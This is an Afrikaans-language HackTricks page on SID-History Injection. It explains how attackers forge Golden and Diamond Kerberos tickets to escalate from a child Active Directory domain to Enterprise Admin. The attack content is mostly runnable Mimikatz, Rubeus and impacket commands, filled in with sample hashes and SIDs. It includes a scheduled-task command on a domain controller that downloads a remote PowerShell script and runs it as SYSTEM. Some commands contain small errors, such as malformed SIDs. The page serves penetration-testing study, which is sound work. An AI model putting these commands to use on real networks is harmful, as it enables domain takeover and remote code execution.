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# SID-History Injection
{% hint style="success" %}
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< details >
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< / details >
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{% endhint %}
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## SID History Injection Aanval
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Die fokus van die **SID History Injection Aanval** is om **gebruikermigrasie tussen domeine** te ondersteun terwyl toegang tot hulpbronne van die vorige domein verseker word. Dit word bereik deur **die gebruiker se vorige Veiligheidsidentifiseerder (SID) in die SID Geskiedenis** van hul nuwe rekening in te sluit. Dit is belangrik om te noem dat hierdie proses gemanipuleer kan word om ongeoorloofde toegang te verleen deur die SID van 'n hoë-privilege groep (soos Enterprise Admins of Domain Admins) van die ouerdomein by die SID Geskiedenis te voeg. Hierdie uitbuiting bied toegang tot alle hulpbronne binne die ouerdomein.
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Twee metodes bestaan om hierdie aanval uit te voer: deur die skep van 'n **Golden Ticket** of 'n **Diamond Ticket** .
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Om die SID vir die ** "Enterprise Admins"** groep te bepaal, moet 'n mens eers die SID van die worteldomein vind. Na identifikasie kan die Enterprise Admins groep SID saamgestel word deur `-519` aan die worteldomein se SID toe te voeg. Byvoorbeeld, as die worteldomein SID `S-1-5-21-280534878-1496970234-700767426` is, sal die resulterende SID vir die "Enterprise Admins" groep `S-1-5-21-280534878-1496970234-700767426-519` wees.
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Jy kan ook die **Domain Admins** groepe gebruik, wat eindig op **512** .
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'n Ander manier om die SID van 'n groep van die ander domein (byvoorbeeld "Domain Admins") te vind, is met:
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```powershell
Get-DomainGroup -Identity "Domain Admins" -Domain parent.io -Properties ObjectSid
```
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### Goue Kaart (Mimikatz) met KRBTGT-AES256
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{% code overflow="wrap" %}
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```bash
mimikatz.exe "kerberos::golden /user:Administrator /domain:< current_domain > /sid:< current_domain_sid > /sids:< victim_domain_sid_of_group > /aes256:< krbtgt_aes256 > /startoffset:-10 /endin:600 /renewmax:10080 /ticket:ticket.kirbi" "exit"
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/user is the username to impersonate (could be anything)
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/domain is the current domain.
/sid is the current domain SID.
/sids is the SID of the target group to add ourselves to.
/aes256 is the AES256 key of the current domain's krbtgt account.
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--> You could also use /krbtgt:< HTML of krbtgt > instead of the "/aes256" option
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/startoffset sets the start time of the ticket to 10 mins before the current time.
/endin sets the expiry date for the ticket to 60 mins.
/renewmax sets how long the ticket can be valid for if renewed.
# The previous command will generate a file called ticket.kirbi
# Just loading you can perform a dcsync attack agains the domain
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```
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{% endcode %}
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Vir meer inligting oor goue kaartjies, kyk:
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{% content-ref url="golden-ticket.md" %}
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[goue-kaartjie.md ](goue-kaartjie.md )
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{% endcontent-ref %}
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### Diamantkaartjie (Rubeus + KRBTGT-AES256)
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{% code overflow="wrap" %}
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```powershell
# Use the /sids param
Rubeus.exe diamond /tgtdeleg /ticketuser:Administrator /ticketuserid:500 /groups:512 /sids:S-1-5-21-378720957-2217973887-3501892633-512 /krbkey:390b2fdb13cc820d73ecf2dadddd4c9d76425d4c2156b89ac551efb9d591a8aa /nowrap
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# Or a ptt with a golden ticket
Rubeus.exe golden /rc4:< krbtgt hash > /domain:< child_domain > /sid:< child_domain_sid > /sids:< parent_domain_sid > -519 /user:Administrator /ptt
# You can use "Administrator" as username or any other string
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```
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{% endcode %}
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Vir meer inligting oor diamond tickets, kyk:
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{% content-ref url="diamond-ticket.md" %}
[diamond-ticket.md ](diamond-ticket.md )
{% endcontent-ref %}
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{% code overflow="wrap" %}
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```bash
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.\asktgs.exe C:\AD\Tools\kekeo_old\trust_tkt.kirbi CIFS/mcorp-dc.moneycorp.local
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.\kirbikator.exe lsa .\CIFS.mcorpdc.moneycorp.local.kirbi
ls \\mcorp-dc.moneycorp.local\c$
```
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{% endcode %}
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Verhoog na DA van wortel of Enterprise admin deur die KRBTGT-hash van die gecompromitteerde domein te gebruik:
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{% code overflow="wrap" %}
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```bash
Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-211874506631-3219952063-538504511 /sids:S-1-5-21-280534878-1496970234700767426-519 /krbtgt:ff46a9d8bd66c6efd77603da26796f35 /ticket:C:\AD\Tools\krbtgt_tkt.kirbi"'
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Invoke-Mimikatz -Command '"kerberos::ptt C:\AD\Tools\krbtgt_tkt.kirbi"'
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gwmi -class win32_operatingsystem -ComputerName mcorpdc.moneycorp.local
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schtasks /create /S mcorp-dc.moneycorp.local /SC Weekely /RU "NT Authority\SYSTEM" /TN "STCheck114" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.114:8080/pc.ps1''')'"
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schtasks /Run /S mcorp-dc.moneycorp.local /TN "STCheck114"
```
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{% endcode %}
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Met die verkregen toestemmings van die aanval kan jy byvoorbeeld 'n DCSync-aanval in die nuwe domein uitvoer:
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{% content-ref url="dcsync.md" %}
[dcsync.md ](dcsync.md )
{% endcontent-ref %}
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### Van linux
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#### Handmatig met [ticketer.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/ticketer.py)
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{% code overflow="wrap" %}
```bash
# This is for an attack from child to root domain
# Get child domain SID
lookupsid.py < child_domain > /username@10.10.10.10 | grep "Domain SID"
# Get root domain SID
lookupsid.py < child_domain > /username@10.10.10.10 | grep -B20 "Enterprise Admins" | grep "Domain SID"
# Generate golden ticket
ticketer.py -nthash < krbtgt_hash > -domain < child_domain > -domain-sid < child_domain_sid > -extra-sid < root_domain_sid > Administrator
# NOTE THAT THE USERNAME ADMINISTRATOR COULD BE ACTUALLY ANYTHING
# JUST USE THE SAME USERNAME IN THE NEXT STEPS
# Load ticket
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export KRB5CCNAME=hacker.ccache
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# psexec in domain controller of root
psexec.py < child_domain > /Administrator@dc.root.local -k -no-pass -target-ip 10.10.10.10
```
{% endcode %}
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#### Outomaties met [raiseChild.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/raiseChild.py)
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Dit is 'n Impacket-skrip wat **die opgradering van kind na ouer domein outomatiseer** . Die skrip benodig:
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* Teikendomeinbeheerder
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* Kredensies vir 'n admin gebruiker in die kinddomein
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Die vloei is:
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* Verkry die SID vir die Enterprise Admins-groep van die ouerdomein
* Herwin die hash vir die KRBTGT-rekening in die kinddomein
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* Skep 'n Golden Ticket
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* Meld aan by die ouerdomein
* Herwin kredensies vir die Administrator-rekening in die ouerdomein
* As die `target-exec` skakel gespesifiseer is, verifieer dit by die ouerdomein se Domeinbeheerder via Psexec.
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```bash
raiseChild.py -target-exec 10.10.10.10 < child_domain > /username
```
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## Verwysings
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* [https://adsecurity.org/?p=1772 ](https://adsecurity.org/?p=1772 )
* [https://www.sentinelone.com/blog/windows-sid-history-injection-exposure-blog/ ](https://www.sentinelone.com/blog/windows-sid-history-injection-exposure-blog/ )
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{% hint style="success" %}
Leer & oefen AWS Hacking:< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > [**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > \
Leer & oefen GCP Hacking: < img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > [**HackTricks Opleiding GCP Red Team Expert (GRTE)**< img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > ](https://training.hacktricks.xyz/courses/grte)
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< details >
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< summary > Ondersteun HackTricks< / summary >
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* Kyk na die [**subskripsieplanne** ](https://github.com/sponsors/carlospolop )!
* **Sluit aan by die** 💬 [**Discord-groep** ](https://discord.gg/hRep4RUj7f ) of die [**telegram-groep** ](https://t.me/peass ) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live** ](https://twitter.com/hacktricks\_live )**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) en [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) github repos.
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< / details >
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{% endhint %}
